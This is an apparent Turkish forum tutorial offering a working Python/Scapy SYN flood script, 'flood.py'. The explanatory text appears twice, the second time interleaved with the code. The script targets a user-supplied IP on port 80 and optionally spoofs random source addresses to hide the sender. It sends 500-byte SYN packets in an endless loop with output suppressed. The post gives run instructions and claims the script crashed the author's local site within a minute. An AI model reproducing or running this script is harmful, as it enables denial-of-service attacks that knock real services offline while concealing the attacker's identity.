Bu script'i çalıştırmak için Python 3.0 ve Scapy gereklidir! (Scapy'i indirmek için "pip install scapy" kodunu kullanınız)
İlk başta gerekli olan kütüphaneleri entegre etmemiz lazım
Sonradan yavaşça programımızı kodlamaya başlayabiliriz
Burada IP ve Port belirlenmiş oluyor, buraları ellemeyin çünkü programın kullanımı biraz farklı olacak
Şimdi ise diğer kodlara geçelim
Burada saldırı host'unun kim olduğunu belirliyoruz saldırı hostuda biz olduğumuz için kendimiz olarak kodluyoruz
Ancak IP'nizin gizlenmesini istiyorsanız şu kodu girebilirsiniz
Bu kod IP Spoofing kodudur ve ip adresimizi gizler
Sonra ise SYN Etiketimizi belirleyeceğiz
Göndereceğimiz paket bayt'ını belirleyeceğiz
Bayt'ın 500 olmasını öneririm
Bir etiket daha koyacağız
Şimdi ise loop kodunu vereceğiz
Verbose = 0 olduğu için saldırı başladığında bir şey gözükmeyecektir ancak Verbose = 1 yaparsanız saldırı yapıp yapmadığı gözükür
Peki nasıl kullanacağız?
Linux kullanıyorsanız terminal veya Windows ise CMD açacaksınız ve "python flood.py [IP]" şeklinde yazacaksınız. (Saldırıyı kendi local sitemde denedim ve 1 dakika içinde çöküş yaşadı, saldırıyı fazla devam ettirmenizi önermem çünkü internetim güçlü olmasına rağmen internet kesintisi veya yavaşlaması yaşadım kullandığımda)
Bu benim ilk konum o yüzden hatam varsa kusura bakmayın ve hatamı bana söylerseniz sevinirim
İlk başta gerekli olan kütüphaneleri entegre etmemiz lazım
from scapy.all import *
import sys
Sonradan yavaşça programımızı kodlamaya başlayabiliriz
target_ip = sys.argv[1]
target_port = 80
Burada IP ve Port belirlenmiş oluyor, buraları ellemeyin çünkü programın kullanımı biraz farklı olacak
Şimdi ise diğer kodlara geçelim
ip = IP(dst=target_ip)
Burada saldırı host'unun kim olduğunu belirliyoruz saldırı hostuda biz olduğumuz için kendimiz olarak kodluyoruz
Ancak IP'nizin gizlenmesini istiyorsanız şu kodu girebilirsiniz
ip = IP(src=RandIP("10.0.0.1/24"), dst=target_ip)
Bu kod IP Spoofing kodudur ve ip adresimizi gizler
Sonra ise SYN Etiketimizi belirleyeceğiz
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
Göndereceğimiz paket bayt'ını belirleyeceğiz
raw = Raw(b"X"*500)
Bayt'ın 500 olmasını öneririm
Bir etiket daha koyacağız
p = ip / tcp / raw
Şimdi ise loop kodunu vereceğiz
send(p, loop=1, verbose=0)
Verbose = 0 olduğu için saldırı başladığında bir şey gözükmeyecektir ancak Verbose = 1 yaparsanız saldırı yapıp yapmadığı gözükür
Peki nasıl kullanacağız?
Linux kullanıyorsanız terminal veya Windows ise CMD açacaksınız ve "python flood.py [IP]" şeklinde yazacaksınız. (Saldırıyı kendi local sitemde denedim ve 1 dakika içinde çöküş yaşadı, saldırıyı fazla devam ettirmenizi önermem çünkü internetim güçlü olmasına rağmen internet kesintisi veya yavaşlaması yaşadım kullandığımda)
Bu benim ilk konum o yüzden hatam varsa kusura bakmayın ve hatamı bana söylerseniz sevinirim